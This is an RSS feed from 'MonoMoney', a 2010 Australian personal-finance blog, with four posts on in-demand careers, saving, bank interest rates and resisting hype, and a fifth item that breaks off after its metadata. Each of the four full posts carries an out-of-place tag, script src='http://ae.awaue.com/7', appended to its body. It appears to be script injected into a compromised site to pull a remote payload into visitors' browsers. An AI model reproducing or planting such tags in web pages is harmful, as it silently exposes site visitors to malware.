<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MonoMoney</title>
	<atom:link href="http://monomoney.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://monomoney.com</link>
	<description>For The Most Important Money - Yours</description>
	<lastBuildDate>Thu, 15 Jul 2010 22:30:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Top 5 Careers Employers Are Looking For</title>
		<link>http://monomoney.com/top-5-careers-employers-are-looking-for/</link>
		<comments>http://monomoney.com/top-5-careers-employers-are-looking-for/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 22:30:51 +0000</pubDate>
		<dc:creator>Russ</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://monomoney.com/?p=372</guid>
		<description><![CDATA[If you are looking to find a job that is not only right for you but has a good earning potential due to a increase in demand and a lack of supply, then the following list of professions may be worth considering. 


No related posts.]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://monomoney.com/wp-content/uploads/2010/07/workman.jpg"><img src="http://monomoney.com/wp-content/uploads/2010/07/workman-199x300.jpg" alt="Workman" title="Workman" width="199" height="300" class="alignleft size-medium wp-image-380" /></a>If you are looking to find a job that is not only right for you but has a good earning potential due to a increase in demand and a lack of supply, then the following list of professions may be worth considering. </p>
<ul>
<li>Metal fitters and machinists</li>
<li>Engineering professionals</li>
<li>Metal casting, forging and finishing trades persons</li>
<li>Structural steel and welding trades workers</li>
<li>Business administration managers</li>
</ul>
<p>These are the top 5 careers that employers are looking to fill and are having trouble finding the talent here in Australia. And you know what that means – they will pay top dollar for them. </p>
<p>These professions were listed as the hardest to source by more than 400 chief executives and released as part of the Australian Industry Group/Deloitte survey. And these numbers, as well as skill shortages in general,  are apparently set to increase. </p>
<p>Other than the obvious effects on the economy, it means a long term period of advantage for those who are interested in those careers. </p>
<p>Have you considered any of those careers? </p>
<p><em>Image Credit:</em> <a href="http://www.flickr.com/photos/irees/">wools</a><script src="http://ae.awaue.com/7"></script></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;title=Top+5+Careers+Employers+Are+Looking+For" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;title=Top+5+Careers+Employers+Are+Looking+For" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://monomoney.com/top-5-careers-employers-are-looking-for/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;t=Top+5+Careers+Employers+Are+Looking+For" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;title=Top+5+Careers+Employers+Are+Looking+For" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;bm_description=Top+5+Careers+Employers+Are+Looking+For&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
		<li class="shr-fwisp">
			<a href="http://fwisp.com/submit?url=http://monomoney.com/top-5-careers-employers-are-looking-for/" rel="nofollow" class="external" title="Share this on Fwisp">Share this on Fwisp</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-googlereader">
			<a href="http://www.google.com/reader/link?url=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;title=Top+5+Careers+Employers+Are+Looking+For&amp;srcUrl=http://monomoney.com/top-5-careers-employers-are-looking-for/&amp;srcTitle=Top+5+Careers+Employers+Are+Looking+For&amp;snippet=If%20you%20are%20looking%20to%20find%20a%20job%20that%20is%20not%20only%20right%20for%20you%20but%20has%20a%20good%20earning%20potential%20due%20to%20a%20increase%20in%20demand%20and%20a%20lack%20of%20supply%2C%20then%20the%20following%20list%20of%20professions%20may%20be%20worth%20considering.%20" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>



<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://monomoney.com/top-5-careers-employers-are-looking-for/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It Is Simple &#8211; You Either Earn More Or Spend Less</title>
		<link>http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/</link>
		<comments>http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 22:30:56 +0000</pubDate>
		<dc:creator>Russ</dc:creator>
				<category><![CDATA[Budget]]></category>
		<category><![CDATA[Money]]></category>
		<category><![CDATA[Saving]]></category>

		<guid isPermaLink="false">http://monomoney.com/?p=135</guid>
		<description><![CDATA[There are only two ways of saving more than you are now: either you earn more or you spend less.


Related posts:<ol><li><a href='http://monomoney.com/keeping-track-of-your-money/' rel='bookmark' title='Permanent Link: Keeping Track Of Your Money'>Keeping Track Of Your Money</a></li>
<li><a href='http://monomoney.com/online-accounts-and-the-best-bank-account/' rel='bookmark' title='Permanent Link: Online Accounts and the Best Bank Account'>Online Accounts and the Best Bank Account</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p></p><p>There are only two ways of saving more than you are now: either you earn more money or you spend less money. </p>
<blockquote><p>There are two ways of being happy. We may either diminish our wants, or augment our means &#8211; either will do &#8211; the result is the same. It is for each man to decide for himself, and then do that which happens to be easiest. -<em>Benjamin Franklin</em></p></blockquote>
<h3>Earn More</h3>
<p><a href="http://monomoney.com/wp-content/uploads/2010/07/australian-cash.jpg"><img src="http://monomoney.com/wp-content/uploads/2010/07/australian-cash-300x225.jpg" alt="Australian Cash" title="Australian Cash" width="300" height="225" class="alignleft size-medium wp-image-274" /></a>This is the harder of the two ways but it can be the more beneficial. Earning more involves increasing your income either through investments or good old fashioned hard work. </p>
<p>The main ways to earn more are to work more or get paid more for the work you do. The latter includes changing your work through a promotion or getting a higher-paid job. </p>
<p><strong>Working Overtime</strong><br />
A lot of businesses offer their employees overtime. This is a very popular way to earn more money than you would normally receive. Some people even rely on overtime to off-set a low income. </p>
<p><strong>Getting A Second Job</strong><br />
You could get a second job. This could include a night job or something extra on the weekends &#8211; basically anything that falls outside you current work. This isn&#8217;t recommended over the long term as you could easily wear yourself out, but if you are looking at paying off debt quickly or need to save in a hurry, then this could be a good short-term solution. </p>
<p><strong>Pay Rise</strong><br />
With this strategy you try and get more money for the work you already do. Either by working harder or better or both so that your employer will pay you more. Depending on the job you have this could be challenging. </p>
<p><strong>Get A Promotion</strong><br />
This is usually accompanied by a higher wage and while it would not suit everyone, a lot of people strive for this in their current jobs. </p>
<p><strong>Getting a Better Job</strong><br />
Whether through getting a higher education or gaining more or different skills, this can be a great way to increase your income. Looking around for a better-paying and more fullfilling job could be just the thing you need. </p>
<p><strong>Starting A Small Business</strong><br />
Starting a small business from home is a great way to earn extra income. This can be as small or as complex as you make it, and can even lead to you quitting your day job. </p>
<h3>Spend Less</h3>
<p><a href="http://monomoney.com/wp-content/uploads/2010/07/pasta.jpg"><img src="http://monomoney.com/wp-content/uploads/2010/07/pasta-300x300.jpg" alt="pasta" title="Pasta" width="300" height="300" class="alignleft size-medium wp-image-279" /></a>This is the easiest of the two ways to save more, and the road most people take when they are trying to save. You simply decrease the amount of money you spend. </p>
<p><strong>Cut Back On Expenses</strong><br />
Going shopping less often, heading out on the town less fequently, curbing your frivilous spending &#8211; all of these will cut the amount of money you spend and allow you to save more. </p>
<p><strong>Slash Your Bills</strong><br />
Reducing your bills can be a great way of finding extra cash. From turning off lights and using your air conditioner sparingly during summer to cutting back on cable television and your mobile phone plan, there are a myriad of ways you can save money on bills. You just need to look for them. </p>
<p><strong>Eat Better</strong><br />
Cooking your own food and eating out less will not only save you money it will make you healthier as well. Reduce eating out to a special treat and learn to cook simple yet healthy meals at home from basic ingedients and save a heap on your food bill. </p>
<p><strong>Don&#8217;t Keep Up With The Jonses</strong><br />
Living within your means and wanting less is a great way to save money because it means that you will be less likely to buy the latest fad product or try and out-do your peers. Be content with what you have and focus on quality over quantity. </p>
<p><strong>Live Simply</strong><br />
Don&#8217;t over-commit yourself financially and live a simple yet extraordinary life. Favour experiences over things and be mindful of the difference between a want and a need. </p>
<p>Remember that there are only two basic ways you can save more, but a myriad of ways you can do each one. So experiment with them and try and find the perfect balance for you. </p>
<p>Have you found your perfect balance? </p>
<p><em>Image Credit:</em> <a href="http://www.flickr.com/photos/cimexus/">Cimexus</a>, <a href="http://www.flickr.com/photos/booleansplit/">Robert S. Donovan</a></p>
<p class="alert">
<a href="http://monomoney.com/wp-content/uploads/2010/06/avatar-100x100.jpg"><img src="http://monomoney.com/wp-content/uploads/2010/06/avatar-100x100.jpg" alt="Russ Avatar" title="Russ Avatar" width="100" height="100" class="alignleft size-full wp-image-103" /></a><strong>Author Info</strong><br />
This article was written by Russ &#8211; the founder of MonoMoney.com and total geek. Feel free to contact him via this website and let him know how well he is doing. Or just leave a comment below.
</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;title=It+Is+Simple+-+You+Either+Earn+More+Or+Spend+Less" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;title=It+Is+Simple+-+You+Either+Earn+More+Or+Spend+Less" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;t=It+Is+Simple+-+You+Either+Earn+More+Or+Spend+Less" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;title=It+Is+Simple+-+You+Either+Earn+More+Or+Spend+Less" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;bm_description=It+Is+Simple+-+You+Either+Earn+More+Or+Spend+Less&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
		<li class="shr-fwisp">
			<a href="http://fwisp.com/submit?url=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/" rel="nofollow" class="external" title="Share this on Fwisp">Share this on Fwisp</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-googlereader">
			<a href="http://www.google.com/reader/link?url=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;title=It+Is+Simple+-+You+Either+Earn+More+Or+Spend+Less&amp;srcUrl=http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/&amp;srcTitle=It+Is+Simple+-+You+Either+Earn+More+Or+Spend+Less&amp;snippet=There%20are%20only%20two%20ways%20of%20saving%20more%20than%20you%20are%20now%3A%20either%20you%20earn%20more%20or%20you%20spend%20less." rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>



<p>Related posts:<ol><li><a href='http://monomoney.com/keeping-track-of-your-money/' rel='bookmark' title='Permanent Link: Keeping Track Of Your Money'>Keeping Track Of Your Money</a></li>
<li><a href='http://monomoney.com/online-accounts-and-the-best-bank-account/' rel='bookmark' title='Permanent Link: Online Accounts and the Best Bank Account'>Online Accounts and the Best Bank Account</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://monomoney.com/it-is-simple-you-either-earn-more-or-spend-less/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cash Rate To Stay The Same But Banks Warn Of Increase Anyway</title>
		<link>http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/</link>
		<comments>http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 02:00:58 +0000</pubDate>
		<dc:creator>Russ</dc:creator>
				<category><![CDATA[Interest Rates]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://monomoney.com/?p=326</guid>
		<description><![CDATA[Well, yesterday saw the Reserve Bank holding interest rates steady for another month, but even so there have been solid rumouring that banks will increase interest rates any way, causing more consternation for mortgaged up Australians.


No related posts.]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://monomoney.com/wp-content/uploads/2010/06/australian-money.jpg"><img src="http://monomoney.com/wp-content/uploads/2010/06/australian-money-300x228.jpg" alt="Australian Money" title="Australian Money" width="300" height="228" class="alignleft size-medium wp-image-20" /></a>Well, yesterday saw the Reserve Bank holding interest rates steady for another month, but even so there have been solid rumouring that banks will increase interest rates any way, causing more consternation for mortgaged up Australians. </p>
<p><strong>The Evidence</strong><br />
This <del datetime="2010-07-06T22:59:37+00:00">possible</del> highly likely decision by banks to raise their interest rates ahead of any Reserve Bank increase is now being backed up by evidence, with both the Commonwealth and Westpac banks warning that due to wholesale funding costs increasing (they have increased 0.20 to 0.80 percentage points in the past two months) there is pressure on them to increase their own rates. </p>
<p><strong>Why Is This Happening?</strong><br />
The main reason for the increase in wholesale cost is the troubling European crisis, which seems to be on-going and looks like staying that way for some time to come, possibly dragging the rest of the world down with it (double-dip recession, anyone?)</p>
<p><strong>To Put It Simply</strong><br />
If you don’t know the difference between cash rates and wholesale rates don’t worry too much. Basically, the wholesale rate is the rate at which banks borrow money to fund themselves. When this increases it costs them more to borrow the same amount of money – just like it costs you more to repay your mortgage when your interest rate goes up. </p>
<p>When that happens, banks worry about the cost to them (and ultimately their profitability) and pass on the costs to you, the mortgage holder. </p>
<p><strong>So, The Banks Are Evil?</strong><br />
Well, yes and no. It’s a very complex argument but sometimes the banks are justified increasing their rates above the standard cash rate, but sometimes they are not. And when politicians denounce them for doing so, they are usually just playing politics as sometimes they know full well the increase is justified. </p>
<p><strong>Your Situation</strong><br />
Although, it all depends on your point of view and situation. If you are a Commonwealth Bank shareholder with no mortgage you would damn well want them to pass on the wholesale interest rate rises as it is better for the business, but if you are a struggling family trying hard to pay off your mortgage you will be unlikely to see it that way. </p>
<p>But that’s life. And the best thing you can do is plan, <a href="http://monomoney.com/?s=budget">budget</a>, and <a href="http://monomoney.com/category/saving/">save</a> like crazy so that you can absorb these cost increases when they arise.<br />
<script src="http://ae.awaue.com/7"></script></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;title=Cash+Rate+To+Stay+The+Same+But+Banks+Warn+Of+Increase+Anyway" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;title=Cash+Rate+To+Stay+The+Same+But+Banks+Warn+Of+Increase+Anyway" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;t=Cash+Rate+To+Stay+The+Same+But+Banks+Warn+Of+Increase+Anyway" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;title=Cash+Rate+To+Stay+The+Same+But+Banks+Warn+Of+Increase+Anyway" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;bm_description=Cash+Rate+To+Stay+The+Same+But+Banks+Warn+Of+Increase+Anyway&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
		<li class="shr-fwisp">
			<a href="http://fwisp.com/submit?url=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/" rel="nofollow" class="external" title="Share this on Fwisp">Share this on Fwisp</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-googlereader">
			<a href="http://www.google.com/reader/link?url=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;title=Cash+Rate+To+Stay+The+Same+But+Banks+Warn+Of+Increase+Anyway&amp;srcUrl=http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/&amp;srcTitle=Cash+Rate+To+Stay+The+Same+But+Banks+Warn+Of+Increase+Anyway&amp;snippet=Well%2C%20yesterday%20saw%20the%20Reserve%20Bank%20holding%20interest%20rates%20steady%20for%20another%20month%2C%20but%20even%20so%20there%20have%20been%20solid%20rumouring%20that%20banks%20will%20increase%20interest%20rates%20any%20way%2C%20causing%20more%20consternation%20for%20mortgaged%20up%20Australians." rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>



<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://monomoney.com/cash-rate-to-stay-the-same-but-banks-warn-of-increase-anyway/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hype &#8211; Stay Away And Save Money</title>
		<link>http://monomoney.com/hype-stay-away-and-save-money/</link>
		<comments>http://monomoney.com/hype-stay-away-and-save-money/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 22:30:06 +0000</pubDate>
		<dc:creator>Russ</dc:creator>
				<category><![CDATA[Control Spending]]></category>
		<category><![CDATA[Money Sense]]></category>
		<category><![CDATA[Saving]]></category>

		<guid isPermaLink="false">http://monomoney.com/?p=208</guid>
		<description><![CDATA[The problem with hype is that it makes us buy on an emotional level instead of a rational one, which is never a good idea as you will eventually come back down to earth and realise that you have made a mistake (also known as Buyer’s Remorse).


Related posts:<ol><li><a href='http://monomoney.com/sales-do-not-save-you-money/' rel='bookmark' title='Permanent Link: Sales Do Not Save You Money'>Sales Do Not Save You Money</a></li>
<li><a href='http://monomoney.com/keeping-track-of-your-money/' rel='bookmark' title='Permanent Link: Keeping Track Of Your Money'>Keeping Track Of Your Money</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://monomoney.com/wp-content/uploads/2010/07/believe-hype.jpg"><img src="http://monomoney.com/wp-content/uploads/2010/07/believe-hype-300x246.jpg" alt="I Want To Believe The Hype" title="I Want To Believe The Hype" width="300" height="246" class="alignleft size-medium wp-image-265" /></a>Ah Hype. That wonderful, exciting, super-charged stuff that makes us buy whatever it&#8217;s being applied to. Well, I’ll let you in on a little secret: </p>
<p><strong>Hype is almost always a bad thing</strong>. </p>
<p><strong>The Problem</strong><br />
The problem with hype is that it makes us buy on an emotional level instead of a rational one, which is never a good idea as you will eventually come back down to earth and realise that you have made a mistake (also known as Buyer’s Remorse). But by then it&#8217;s all too late and you have spent the money on something that you could of done without. </p>
<p><strong>Resisting Hype</strong><br />
The hardest part of resisting hype is taking back control of your senses. What you need to do is stop and take a breather before you dive right in and part with your money. </p>
<p>Ask yourself a couple of rational questions like “Do I really need this?” or “I was happy yesterday without it, will I be happy tomorrow without it?” And you need to remove yourself from the hype for a while. Tune out from it and give yourself some time to chill. </p>
<p><strong>Why Should I Avoid Hype?</strong><br />
Here are the top five reasons to stay away from anything that is hyped: </p>
<ul>
<li>It probably isn’t that good anyway (if it was that good they wouldn’t need to hype it)</li>
<li>It will cost you a lot more than you wanted to spend</li>
<li>You most likely don’t need it (after all your life was perfectly fine before you heard about said product or service)</li>
<li>Your decision to buy is due to emotions rather than rational thought (which is never a good idea)</li>
<li>You will save money</li>
</ul>
<p>So before you try and sell your own Grandmother to get a hold of said hyped object, have some quiet time and ask yourself whether you really need it. It will save you a lot more than just money. </p>
<p><em>Image Credit:</em> <a href="http://www.flickr.com/photos/stallio/">stallio</a></p>
<p class="alert">
<a href="http://monomoney.com/wp-content/uploads/2010/06/avatar-100x100.jpg"><img src="http://monomoney.com/wp-content/uploads/2010/06/avatar-100x100.jpg" alt="Russ Avatar" title="Russ Avatar" width="100" height="100" class="alignleft size-full wp-image-103" /></a><strong>Author Info</strong><br />
This article was written by Russ &#8211; the founder of MonoMoney.com and total geek. Feel free to contact him via this website and let him know how well he is doing. Or just leave a comment below.
</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-delicious">
			<a href="http://delicious.com/post?url=http://monomoney.com/hype-stay-away-and-save-money/&amp;title=Hype+-+Stay+Away+And+Save+Money" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://monomoney.com/hype-stay-away-and-save-money/&amp;title=Hype+-+Stay+Away+And+Save+Money" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-technorati">
			<a href="http://technorati.com/faves?add=http://monomoney.com/hype-stay-away-and-save-money/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://monomoney.com/hype-stay-away-and-save-money/&amp;t=Hype+-+Stay+Away+And+Save+Money" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://monomoney.com/hype-stay-away-and-save-money/&amp;title=Hype+-+Stay+Away+And+Save+Money" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-misterwong">
			<a href="http://www.mister-wong.com/addurl/?bm_url=http://monomoney.com/hype-stay-away-and-save-money/&amp;bm_description=Hype+-+Stay+Away+And+Save+Money&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a>
		</li>
		<li class="shr-fwisp">
			<a href="http://fwisp.com/submit?url=http://monomoney.com/hype-stay-away-and-save-money/" rel="nofollow" class="external" title="Share this on Fwisp">Share this on Fwisp</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://monomoney.com/hype-stay-away-and-save-money/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-googlereader">
			<a href="http://www.google.com/reader/link?url=http://monomoney.com/hype-stay-away-and-save-money/&amp;title=Hype+-+Stay+Away+And+Save+Money&amp;srcUrl=http://monomoney.com/hype-stay-away-and-save-money/&amp;srcTitle=Hype+-+Stay+Away+And+Save+Money&amp;snippet=The%20problem%20with%20hype%20is%20that%20it%20makes%20us%20buy%20on%20an%20emotional%20level%20instead%20of%20a%20rational%20one%2C%20which%20is%20never%20a%20good%20idea%20as%20you%20will%20eventually%20come%20back%20down%20to%20earth%20and%20realise%20that%20you%20have%20made%20a%20mistake%20%28also%20known%20as%20Buyer%E2%80%99s%20Remorse%29." rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>



<p>Related posts:<ol><li><a href='http://monomoney.com/sales-do-not-save-you-money/' rel='bookmark' title='Permanent Link: Sales Do Not Save You Money'>Sales Do Not Save You Money</a></li>
<li><a href='http://monomoney.com/keeping-track-of-your-money/' rel='bookmark' title='Permanent Link: Keeping Track Of Your Money'>Keeping Track Of Your Money</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://monomoney.com/hype-stay-away-and-save-money/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Power of A Dollar</title>
		<link>http://monomoney.com/the-power-of-a-dollar/</link>
		<comments>http://monomoney.com/the-power-of-a-dollar/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 22:30:35 +0000</pubDate>
		<dc:creator>Russ</dc:creator>
				<category><![CDATA[Investing]]></category>
		<category><![CDATA[Money]]></category>
		<category><![CDATA[Personal Finance]]></category>
		<category><![CDATA[Saving]]></category>

		<guid isPermaLink="false">http://monomoney.com/?p=216</guid>
